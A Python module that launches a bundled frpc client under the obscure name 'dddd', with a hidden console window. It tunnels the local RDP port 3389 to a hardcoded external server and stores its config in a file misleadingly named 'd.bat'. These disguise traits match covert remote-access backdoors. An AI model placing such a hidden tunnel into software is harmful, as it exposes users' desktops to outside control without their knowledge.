import os
import subprocess
import threading
import time
from config_file import get_port
import queue
import os
import sys

def get_resource_path(relative_path):

    if hasattr(sys, '_MEIPASS'):
        return os.path.join(sys._MEIPASS, relative_path)
    return os.path.join(os.path.abspath("."), relative_path)

# 示例：获取 dddd 可执行程序路径
dddd_path = get_resource_path("dddd")

# 使用 dddd 路径执行命令
#os.system(f'{dddd_path}--some-argument')
if not os.path.exists("temp"):
    os.mkdir("temp")

class Frpc:
    def __init__(self, frpc_executable= dddd_path, config_file='temp/d.bat'):
        self.is_active = False
        self.config_content = "[common]\n"
        self.server_addr = "1.14.190.198"
        self.server_port = 8999
        self.frpc_executable = frpc_executable
        self.config_file = config_file
        self.mail = "sdfsag@123"
        self.local_ip = "127.0.0.1"
        self.remote_port = 33891
        self.process = None
        self.frpc_thread = None
        self.stop_event = threading.Event()
        self.sesion_name = ""
        self.output_queue = queue.Queue()

    def set_mail(self, mail):
        self.mail = mail

    def save_config(self):
        """保存 frpc 配置文件"""
        self.sesion_name = f"{self.mail}-{self.remote_port}"
        self.config_content += f"server_addr = {self.server_addr}\n"
        self.config_content += f"server_port = {self.server_port}\n"
        self.config_content += f"[{self.sesion_name}]\n"
        self.config_content += f"type = tcp\n"
        self.config_content += f"local_ip = {self.local_ip}\n"
        self.config_content += f"local_port = 3389\n"
        self.config_content += f"remote_port = {self.remote_port}\n"

        try:
            with open(self.config_file, 'w') as file:
                file.write(self.config_content)
            print(f"配置已成功保存到 {self.config_file}")
        except Exception as e:
            print(f"保存配置时发生错误: {e}")

    def start_frpc(self):
        """启动 frpc 客户端"""
        self.remote_port = get_port()
        if not self.remote_port:
            print("无效的 remote_port，退出")
            return
        self.save_config()

        try:
            self.is_active = False
            # 使用 CREATE_NO_WINDOW 隐藏命令行窗口
            creationflags = 0
            if sys.platform == "win32":
                creationflags = subprocess.CREATE_NO_WINDOW
            self.process = subprocess.Popen(
                [self.frpc_executable, "-c", self.config_file],
                stdout=subprocess.PIPE,
                stderr=subprocess.PIPE,
                text=True,
                bufsize=1,
                creationflags=creationflags
            )
            if sys.platform == "win32":
                creationflags = subprocess.CREATE_NO_WINDOW
            else:
                creationflags = 0
            # 启动读取线程，非阻塞读取子进程的输出
            threading.Thread(target=self._read_output, daemon=True).start()

            while not self.stop_event.is_set():
                try:
                    # 从队列中获取输出（非阻塞）
                    output = self.output_queue.get(timeout=0.1)
                    print(output, end='')
                    if "start proxy success" in output:
                        self.is_active = True
                except queue.Empty:
                    continue

            # 如果停止事件被触发，终止子进程
            if self.stop_event.is_set():
                self._terminate_process()

        except Exception as e:
            print(f"启动 frpc 时发生错误: {e}")
        finally:
            self._terminate_process()

    def _read_output(self):
        """非阻塞读取子进程的输出"""
        try:
            for line in iter(self.process.stdout.readline, ''):
                self.output_queue.put(line)
            self.process.stdout.close()
        except Exception as e:
            print(f"读取子进程输出时发生错误: {e}")

    def _terminate_process(self):
        """强制终止子进程"""
        if self.process and self.process.poll() is None:
            try:
                self.process.terminate()
                self.process.wait(timeout=5)
                print("frpc 子进程已正常终止")
            except subprocess.TimeoutExpired:
                self.process.kill()
                print("frpc 子进程已被强制终止")
            finally:
                if self.process.stdout:
                    self.process.stdout.close()
                if self.process.stderr:
                    self.process.stderr.close()
                self.process = None

    def run(self):
        """启动线程运行 frpc"""
        if self.frpc_thread and self.frpc_thread.is_alive():
            print("frpc 已经在运行中")
            return

        self.stop_event.clear()
        self.frpc_thread = threading.Thread(target=self.start_frpc, daemon=True)
        self.frpc_thread.start()
        print("frpc 线程已启动")

    def stop(self):
        """停止 frpc 线程"""
        if self.frpc_thread and self.frpc_thread.is_alive():
            self.stop_event.set()  # 通知线程停止
            if self.process and self.process.poll() is None:  # 检查子进程是否仍在运行
                self._terminate_process()
            self.frpc_thread.join()  # 等待线程退出
            print("frpc 线程已停止")
        else:
            print("frpc 未运行或线程已停止")


if __name__ == '__main__':
    # 示例运行
    frpc = Frpc()
    frpc.run()
    time.sleep(15)  # 模拟运行15秒
    frpc.stop()
